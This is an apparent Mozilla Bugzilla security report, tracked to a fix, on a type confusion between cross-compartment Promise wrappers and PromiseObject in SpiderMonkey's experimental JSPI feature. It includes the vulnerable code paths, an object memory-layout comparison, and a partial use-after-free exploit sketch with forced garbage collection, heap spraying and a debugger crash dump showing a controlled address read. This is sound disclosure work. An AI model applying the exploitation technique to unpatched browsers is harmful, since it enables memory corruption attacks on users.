Closed Bug 2021780 Opened 8 months ago Closed 8 months ago

[jspi] Unsafe downcast of a cross-compartment Promise wrapper to PromiseObject in SpiderMonkey JSPI

Categories

(Core :: JavaScript: WebAssembly, defect, P3)

defect

Tracking

()

RESOLVED FIXED
150 Branch
Tracking Status
firefox-esr115 --- unaffected
firefox-esr140 --- disabled
firefox148 --- disabled
firefox149 --- disabled
firefox150 --- fixed

People

(Reporter: definitelynotgnas, Assigned: yury)

References

Details

(Keywords: reporter-external, sec-high, unsupported-config, Whiteboard: [client-bounty-form][bugmon:bisected,confirmed])

Attachments

(5 files, 2 external files, 1 obsolete file)

Attached file poc.js โ€”

Summary

Unsafe downcast of a cross-compartment Promise wrapper to PromiseObject in SpiderMonkey JSPI causes a debug assertion crash at js/src/vm/JSObject.h:517.

Description / Vulnerability details

Details

  • Vulnerable area: SpiderMonkey WebAssembly JS Promise Integration (JSPI)
  • Root issue: WasmPI.cpp uses unchecked downcasts to PromiseObject on values that can be cross-compartment wrappers (CCW/proxy), not real PromiseObject instances in the current compartment
  • Reproduced crash site in js/src/wasm/WasmPI.cpp:
    • AddPromiseReactions: promiseObj->as<PromiseObject>() at line 1437 (https://searchfox.org/firefox-main/source/js/src/wasm/WasmPI.cpp#1437).
  • Why reachable:
    • PromiseResolve(C, x) may return x directly when x is already a Promise and x.constructor === C.
    • With a cross-compartment Promise wrapper, returned object can be a CCW/proxy object
  • Observed impact:
    • Debug shell: assertion failure this->is<T>() in JSObject::as<PromiseObject>() at js/src/vm/JSObject.h:517.
    // js/src/vm/JSObject.h
    template <class T>
    T& as() {
      MOZ_ASSERT(this->is<T>());
      return *static_cast<T*>(this);
    }
    
    • Exploitability has not been assessed in this report.

Version / Bisect

  • Branch: mozilla-central
  • Commit: 768652661f994d1bf533162e3c9ff8e0887d6784
  • Commit date: 2026-03-07 16:54:44 +0000

Reproduce

  1. Build js.exe from the target tree with JSPI support available.
# MOZCONFIG

# Build only the JS shell
ac_add_options --enable-project=js

# Enable the debugging tools: Assertions, debug only code etc.
ac_add_options --enable-debug

ac_add_options --disable-optimize

# Logging can be enabled during JIT compilation
ac_add_options --enable-jitspew

mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/obj-debug-@CONFIG_GUESS@
  1. Run minimized PoC (debug assert reproduction):
firefox\obj-debug-x86_64-pc-windows-msvc\dist\bin\js.exe --setpref=wasm_js_promise_integration=true poc.js
  1. Expected debug result:
    • Output includes before call
    • Then assertion failure at JSObject::as<PromiseObject>() from WasmPI.cpp (AddPromiseReactions path)
before call
[24452] Assertion failure: this->is<T>(), at C:/firefox-dirs/08_03_2026/firefox/js/src\vm/JSObject.h:517
#01: JSObject::as<js::PromiseObject> (C:\firefox-dirs\08_03_2026\firefox\js\src\vm\JSObject.h:517)
#02: js::wasm::AddPromiseReactions (C:\firefox-dirs\08_03_2026\firefox\js\src\wasm\WasmPI.cpp:1437)
#03: ??? (???:???)

Credit

If applicable, please credit Sang Nguyen Thien (@gnas0x0018) of Viettel Cyber Security.

Flags: sec-bounty?
Group: firefox-core-security → javascript-core-security
Component: Security → JavaScript Engine
Product: Firefox → Core
Component: JavaScript Engine → JavaScript: WebAssembly
Assignee: nobody → rhunt
Severity: -- → S3
Priority: -- → P3
Attached file type-confusion.js โ€”

I rebuilt js.exe with MOZCONFIG:

ac_add_options --enable-project=js

ac_add_options --disable-debug

ac_add_options --disable-optimize

ac_add_options --enable-jitspew

ac_add_options --as-milestone=release

mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/obj-vuln-@CONFIG_GUESS@

Ive attached a new file type-confusion.js, this is the flow when running with this build:

AddPromiseReactions:

// firefox/js/src/wasm/WasmPI.cpp
// CCW: cross-compartment wrapper
void* AddPromiseReactions(Instance* instance, SuspenderObject* suspender,
                          void* result, JSFunction* continueOnSuspendable) {
  // ...
  Rooted<PromiseObject*> promiseObject(cx, &promiseObj->as<PromiseObject>()); // [1] CCW โ†’ as<PromiseObject>() โ†’ type confusion

  suspenderObject->setSuspendingReturnType(
      SuspenderObject::ReturnType::Promise);

  // Add promise reactions
  RootedFunction then_(
      cx, NewNativeFunction(cx, WasmPISuspendTaskContinue, 1, nullptr,
                            gc::AllocKind::FUNCTION_EXTENDED, GenericObject));
  then_->initExtendedSlot(SUSPENDER_SLOT, ObjectValue(*suspenderObject));
  then_->initExtendedSlot(CONTINUE_ON_SUSPENDABLE_SLOT, ObjectValue(*fn));
  then_->initExtendedSlot(PROMISE_SLOT, ObjectValue(*promiseObject)); // [2] Store CCW in PROMISE_SLOT (line 1448)
  if (!JS::AddPromiseReactions(cx, promiseObject, then_, then_)) {
    return AnyRef::invalid().forCompiledCode();
  }
  return AnyRef::fromJSObject(*promiseObject).forCompiledCode();
}

Foreign promise resolves โ†’ reaction fires:

[4] WasmPISuspendTaskContinue reads PROMISE_SLOT โ†’ gets CCW back

// firefox/js/src/wasm/WasmPI.cpp

// Reaction on resolved/rejected suspending promise.
static bool WasmPISuspendTaskContinue(JSContext* cx, unsigned argc, Value* vp) {
  CallArgs args = CallArgsFromVp(argc, vp);
  // The arg[0] has result of resolved promise, or rejection reason.
  Rooted<JSFunction*> callee(cx, &args.callee().as<JSFunction>());
  RootedValue suspender(cx, callee->getExtendedSlot(SUSPENDER_SLOT));
  RootedValue suspendingPromise(cx, callee->getExtendedSlot(PROMISE_SLOT)); // [4] line 776
  // ...
}

[5] Passes CCW through wasm โ†’ GetSuspendingPromiseResult

// firefox/js/src/wasm/WasmPI.cpp

// Converts promise results into actual function result, or exception/trap
// if rejected.
// Seen as $builtin.get-suspending-promise-result to wasm.
JSObject* GetSuspendingPromiseResult(Instance* instance, void* result,
                                     SuspenderObject* suspender) {

  /*
  ...
  */
  Rooted<PromiseObject*> promise(
      cx, returnType == SuspenderObject::ReturnType::Promise
              ? &resultRef.toJSObject().as<PromiseObject>() // [!] type confusion CCW -> PromiseObject
              : nullptr);

  /*
  ...
  */

  if (promise ? promise->state() == JS::PromiseState::     // [6] Type confusion reads CCW.expandoSlot (which is Null value)
              : returnType == SuspenderObject::ReturnType::Exception) {
    /*
    ...
    */
  }

  // The exception and rejection are handled above -- expect resolved promise.
  MOZ_ASSERT(promise->state() == JS::PromiseState::Fulfilled);
  RootedValue jsValue(cx, promise->value());               // [7] Type confusion reads CCW.privateSlot
  // ...
}

Memory layouts

  Offset    CCW (ProxyObject)              PromiseObject
  โ”€โ”€โ”€โ”€โ”€โ”€    โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€              โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
  0x00      Shape*                         Shape*
  0x08      ProxyReservedSlots*            HeapSlot* slots_
  0x10      BaseProxyHandler*              HeapSlot* elements_
  0x18      expandoSlot  (Value)           fixedSlots[0] = PromiseSlot_Flags
  0x20      privateSlot  (Value)           fixedSlots[1] = ReactionsOrResult
  0x28      reservedSlots[0] (Value)       fixedSlots[2] = RejectFunction
  0x30      reservedSlots[1] (Value)       fixedSlots[3] = DebugInfo

Im looking into whether this type confusion is exploitable

(In reply to Sang Nguyen Thien from comment #2)

I rebuilt js.exe with MOZCONFIG:

ac_add_options --enable-project=js

ac_add_options --disable-debug

ac_add_options --disable-optimize

ac_add_options --enable-jitspew

ac_add_options --as-milestone=release

mk_add_options MOZ_OBJDIR=@TOPSRCDIR@/obj-vuln-@CONFIG_GUESS@

Ive attached a new file type-confusion.js, this is the flow when running with this build:

AddPromiseReactions:

// firefox/js/src/wasm/WasmPI.cpp
// CCW: cross-compartment wrapper
void* AddPromiseReactions(Instance* instance, SuspenderObject* suspender,
                          void* result, JSFunction* continueOnSuspendable) {
  // ...
  Rooted<PromiseObject*> promiseObject(cx, &promiseObj->as<PromiseObject>()); // [1] CCW โ†’ as<PromiseObject>() โ†’ type confusion

  suspenderObject->setSuspendingReturnType(
      SuspenderObject::ReturnType::Promise);

  // Add promise reactions
  RootedFunction then_(
      cx, NewNativeFunction(cx, WasmPISuspendTaskContinue, 1, nullptr,
                            gc::AllocKind::FUNCTION_EXTENDED, GenericObject));
  then_->initExtendedSlot(SUSPENDER_SLOT, ObjectValue(*suspenderObject));
  then_->initExtendedSlot(CONTINUE_ON_SUSPENDABLE_SLOT, ObjectValue(*fn));
  then_->initExtendedSlot(PROMISE_SLOT, ObjectValue(*promiseObject)); // [2] Store CCW in PROMISE_SLOT (line 1448)
  if (!JS::AddPromiseReactions(cx, promiseObject, then_, then_)) {
    return AnyRef::invalid().forCompiledCode();
  }
  return AnyRef::fromJSObject(*promiseObject).forCompiledCode();
}

Foreign promise resolves โ†’ reaction fires:

[4] WasmPISuspendTaskContinue reads PROMISE_SLOT โ†’ gets CCW back

// firefox/js/src/wasm/WasmPI.cpp

// Reaction on resolved/rejected suspending promise.
static bool WasmPISuspendTaskContinue(JSContext* cx, unsigned argc, Value* vp) {
  CallArgs args = CallArgsFromVp(argc, vp);
  // The arg[0] has result of resolved promise, or rejection reason.
  Rooted<JSFunction*> callee(cx, &args.callee().as<JSFunction>());
  RootedValue suspender(cx, callee->getExtendedSlot(SUSPENDER_SLOT));
  RootedValue suspendingPromise(cx, callee->getExtendedSlot(PROMISE_SLOT)); // [4] line 776
  // ...
}

[5] Passes CCW through wasm โ†’ GetSuspendingPromiseResult

// firefox/js/src/wasm/WasmPI.cpp

// Converts promise results into actual function result, or exception/trap
// if rejected.
// Seen as $builtin.get-suspending-promise-result to wasm.
JSObject* GetSuspendingPromiseResult(Instance* instance, void* result,
                                     SuspenderObject* suspender) {

  /*
  ...
  */
  Rooted<PromiseObject*> promise(
      cx, returnType == SuspenderObject::ReturnType::Promise
              ? &resultRef.toJSObject().as<PromiseObject>() // [!] type confusion CCW -> PromiseObject
              : nullptr);

  /*
  ...
  */

  if (promise ? promise->state() == JS::PromiseState::     // [6] Type confusion reads CCW.expandoSlot (which is Null value)
              : returnType == SuspenderObject::ReturnType::Exception) {
    /*
    ...
    */
  }

  // The exception and rejection are handled above -- expect resolved promise.
  MOZ_ASSERT(promise->state() == JS::PromiseState::Fulfilled);
  RootedValue jsValue(cx, promise->value());               // [7] Type confusion reads CCW.privateSlot
  // ...
}

Memory layouts

  Offset    CCW (ProxyObject)              PromiseObject
  โ”€โ”€โ”€โ”€โ”€โ”€    โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€              โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€
  0x00      Shape*                         Shape*
  0x08      ProxyReservedSlots*            HeapSlot* slots_
  0x10      BaseProxyHandler*              HeapSlot* elements_
  0x18      expandoSlot  (Value)           fixedSlots[0] = PromiseSlot_Flags
  0x20      privateSlot  (Value)           fixedSlots[1] = ReactionsOrResult
  0x28      reservedSlots[0] (Value)       fixedSlots[2] = RejectFunction
  0x30      reservedSlots[1] (Value)       fixedSlots[3] = DebugInfo

Im looking into whether this type confusion is exploitable

At [7], for a CCW, privateSlot = ObjectValue(foreignPromise) โ€” the unwrapped target object in the other compartment

Attached file I believe this type โ€”

I believe this type confusion can lead to a use-after-free. I will attach uaf.js later.

After [7], the flow:

SetPromisingPromiseResults(...) (WasmPI.cpp:1507)
|_
  ...
    |_ ResolvePromise(...) // firefox/js/src/builtin/Promise.cpp:1906
       |_ promise->setFixedSlot(PromiseSlot_ReactionsOrResult, valueOrReason)  // [8] firefox/js/src/builtin/Promise.cpp:1937 

At [8], raw cross-compartment pointer stored directly in the promise slot (valueOrReason is raw foreign pointer).

Now, the idea would be:

// `uaf.js`
// ...
const g = newGlobal({ newCompartment: true });
g.eval("this.p = Promise.resolve(1337);");
g.eval("Object.defineProperty(p, 'then', {value: undefined});");
let foreignWrapper = g.p;

// ...
// [8] ends
g.eval("p = null;"); // [9] drop the reference inside the foreign compartment
foreignWrapper = null; // [10] drop our CCW reference

gc(); // [11]
gc();
// ...

Then we will trigger gc ([11] full) to collect the CCW to the foreign promise. After this, the CCW table entry for foreignPromise is gone. The ONLY reference from our zone to foreignPromise is the raw pointer in promisingResult's PromiseSlot_ReactionsOrResult slot

schedulezone(g); 
gc("zone"); // [12]

Next, 'g' is still alive (we need it for schedulezone), but the foreign promise is unreachable from 'g' (we nulled g.p) and has no CCW table entry. Zone GC ([12]) traces from roots and CCW table -> misses the direct cross-zone reference (raw pointer in promisingResult's PromiseSlot_ReactionsOrResult slot) -> Zone GC on the foreign zone frees the foreign PromiseObject

-> raw pointer becomes dangling

When .then() is called:

  PerformPromiseThenWithReaction(...)                 // firefox/js/src/builtin/Promise.cpp:7258
    // promise is Fulfilled => line 7279 else branch
    |_ unwrappedPromise->valueOrReason()    // line 7286: reads raw ptr from slot
    |_ cx->compartment()->wrap(cx, &value)  // line 7290: wraps for delivery
         |_ ...   
            |_  lookupWrapper(obj) ~> obj->compartment() 
               |_ // reads obj->shape() from freed memory [!] <----------------- UAF read

With heap spraying in the foreign zone, I can trigger a crash when attempting to read from 0x4141414141414141 (a user-controllable/arbitrary address).

Run js.exe --setpref=wasm_js_promise_integration=true uaf.js
I used WinDBG:

(9054.6b7c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
js!js::BaseShape::realm+0x9:
00007ff7`9d155049 488b4008        mov     rax,qword ptr [rax+8] ds:41414141`41414141=????????????????

0:000> r
rax=4141414141414139 rbx=00000231e4e2dac0 rcx=4141414141414139
rdx=000000d1259f8e98 rsi=0000000000000000 rdi=00000231e4e2c370
rip=00007ff79d155049 rsp=000000d1259f8b70 rbp=000000d1259f94e0
 r8=00001452f6592040  r9=0000000000000001 r10=000000d1259f8f98
r11=000000d1259f8f90 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
js!js::BaseShape::realm+0x9:
00007ff7`9d155049 488b4008        mov     rax,qword ptr [rax+8] ds:41414141`41414141=????????????????

I will attach the js_uaf_crashdump.txt file (containing the stack trace)

Attached file uaf.js โ€”
Attached file js_uaf_crashdump.txt โ€”
Keywords: bugmon

Well it is a really big misunderstanding in how PromiseResolve behaves in presence of CCW. The fix will be an alternative function that will always return a local promise.

JSPI feature is disabled by default

Attached file (secure) (obsolete) โ€”

/cc arai and mgaudet if there is a better approach

Keywords: bugmon

Verified bug as reproducible on mozilla-central 20260311050622-d669b0133e0e.
Unable to bisect testcase (Testcase reproduces on start build!):

Start: c0686e07451f5cb80434c838d140bd8b88a64a3b (20251212213741)
End: 9deea8b0a7f33f6410ce3ee1b718a9bc3b394ea5 (20260307210637)
BuildFlags: BuildFlags(asan=True, tsan=False, debug=False, fuzzing=True, coverage=False, valgrind=False, no_opt=False, fuzzilli=False, nyx=False, searchfox=False, afl=False)

Whiteboard: [client-bounty-form] → [client-bounty-form][bugmon:bisected,confirmed]

Is this specific step around the PromiseResolve defined by some spec or proposal? if so, what does the spec say around the promise handling and input/output?
Does it expect specific ordering?

(In reply to Tooru Fujisawa [:arai] from comment #13)

Is this specific step around the PromiseResolve defined by some spec or proposal? if so, what does the spec say around the promise handling and input/output?
Does it expect specific ordering?

here is modified spec https://webassembly.github.io/js-promise-integration/js-api/#jspi near create a suspending function steps:

15.Otherwise,
    Let prRet be the result of PromiseResolve(%Promise%,ret.[[Value]]).
    Assert: prRet.[[Type]] is throw or normal.
    If prRet.[[Type]] is throw, then:
        Let type, payload and opaqueData be the result of coercing the JavaScript exception ret.[[Value]].
        Throw with type, payload and opaqueData.
    Otherwise,
        Let promise be prRet.[[Value]].
        Set the entry for async_context in map to paused.
        Let awaitResult be the result of performing Completion(Await(promise)).
        If the entry for async_context in map is not paused then:
            Perform throw a JavaScript exception with a SuspendError.
        Otherwise, set the entry to active.
        If awaitResult.[[Type]] is throw, then:
        Let type, payload and opaqueData be the result of coercing the JavaScript exception ret.[[Value]].
        Throw with type, payload and opaqueData.
        Otherwise, return the result of performing coerce a JavaScript return on resultTypes and awaitResult.

I don't see specific steps for wrappers. All magic is in PromiseResolve?

Thanks.
If the spec says PromiseResolve, then we should just call PromiseResolve without creating a new promise.

Then, CCW is not a part of spec. it's specific to SpiderMonkey, and in terms of the spec, CCW should be completely transparent and shouldn't affect any behavior.

js::wasm::AddPromiseReactions doesn't have to perform the cast, as nothing requires PromiseObject type.

The consumer of the possibly-wrapped promise should instead unwrap the CCW and enter the realm, and use the PromiseObject methods there.

Is GetSuspendingPromiseResult only the consumer of the raw promise value?

https://searchfox.org/firefox-main/rev/e67dad5c526f22744f22e5e1173213c9c5811df8/js/src/wasm/WasmPI.cpp#1326-1327,1337-1340

JSObject* GetSuspendingPromiseResult(Instance* instance, void* result,
                                     SuspenderObject* suspender) {
...
  Rooted<PromiseObject*> promise(
      cx, returnType == SuspenderObject::ReturnType::Promise
              ? &resultRef.toJSObject().as<PromiseObject>()
              : nullptr);

It could be rewritten to something like the following (not tested):

JS::Rooted<PromiseObject*> promise(cx);
JS::Rooted<JS::Value> jsValue(cx);
if (returnType == SuspenderObject::ReturnType::Promise) {
  mozilla::Maybe<AutoRealm> ar;
  JS::Rooted<JS::Object*> promiseObj(cx, &resultRef.toJSObject());
  if (IsWrapper(promiseObj)) {
    promiseObj = UncheckedUnwrap(promiseObj);
    if (JS_IsDeadWrapper(promiseObj)) {
      return nullptr;
    }

    ar.emplace(cx, promise);
  }
  promise = promiseObj->as<PromiseObject>();

  // use promise->state() and promise->value() here.

  // If you need to touch the value outside of the target realm, then:
  jsValue = promise->value();
}
if (!cx->compartment()->wrap(cx, &jsValue)) {
  return false;
}
// use jsValue here.
Attached file (secure) โ€”
Attached file (secure) โ€”

Depends on D287215

Attachment #9551647 - Attachment is obsolete: true

Unfortunately this bug does not qualify for our bug bounty program. Only features that are enabled by default or have user-facing settings to enable (that is about:preferences) are in scope. If code is only reachable through prefs set manually through config files or about:config they are considered experimental or debugging features that are out-of-scope.

Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: sec-bounty? → sec-bounty-
Keywords: sec-high

(In reply to Daniel Veditz [:dveditz] from comment #18)

Unfortunately this bug does not qualify for our bug bounty program. Only features that are enabled by default or have user-facing settings to enable (that is about:preferences) are in scope. If code is only reachable through prefs set manually through config files or about:config they are considered experimental or debugging features that are out-of-scope.

Thank you for the clarification regarding the bug bounty scope. I was wondering if this bug is still eligible for a CVE assignment.

The severity field for this bug is set to S3. However, the bug is flagged with the sec-high keyword.
:rhunt, could you consider increasing the severity of this security bug?

For more information, please visit BugBot documentation.

Flags: needinfo?(rhunt)
Severity: S3 → S2

Comment on attachment 9552016 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: Type confusion bug in disabled feature. The reporter was able to produce the UAF after forcing GC at right time.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?:
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: The disabled feature is affected
  • How likely is this patch to cause regressions; how much testing does it need?: Tested locally with poc. The additional patch provides more tests with CCW.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Flags: needinfo?(rhunt)

Comment on attachment 9552016 [details]
(secure)

I assume you meant to request sec-approval because of the comment with the answered questionnaire, but somehow the flag didn't get set.

The bad news is that we are past the sec-approval request deadline for this cycle.
The good news is that since this is a disabled hidden feature that hasn't shipped you do not need sec-approval to land the fix in Nightly 150. You won't be able to uplift the fix to 149 beta though.

Attachment #9552016 - Flags: sec-approval+
Flags: behind-pref+

Bugmon was unable reproduce this issue.
Removing bugmon keyword as no further action possible. Please review the bug and re-add the keyword for further analysis.

Keywords: bugmon
Assignee: rhunt → ydelendik
Duplicate of this bug: 2023031
Pushed by rperta@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/2881a669abf7 https://hg.mozilla.org/integration/autoland/rev/1feb86f1f179 Revert "Bug 2021780 - Fix JSPI handling of promises returned from suspending imports. r=arai" for causing build bustages at Compartment.h

eh, nu builds. sorry, about that. patch was updated

Flags: needinfo?(ydelendik)
Group: javascript-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 8 months ago
Resolution: --- → FIXED
Target Milestone: --- → 150 Branch
QA Whiteboard: [sec] [qa-triage-done-c151/b150]
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: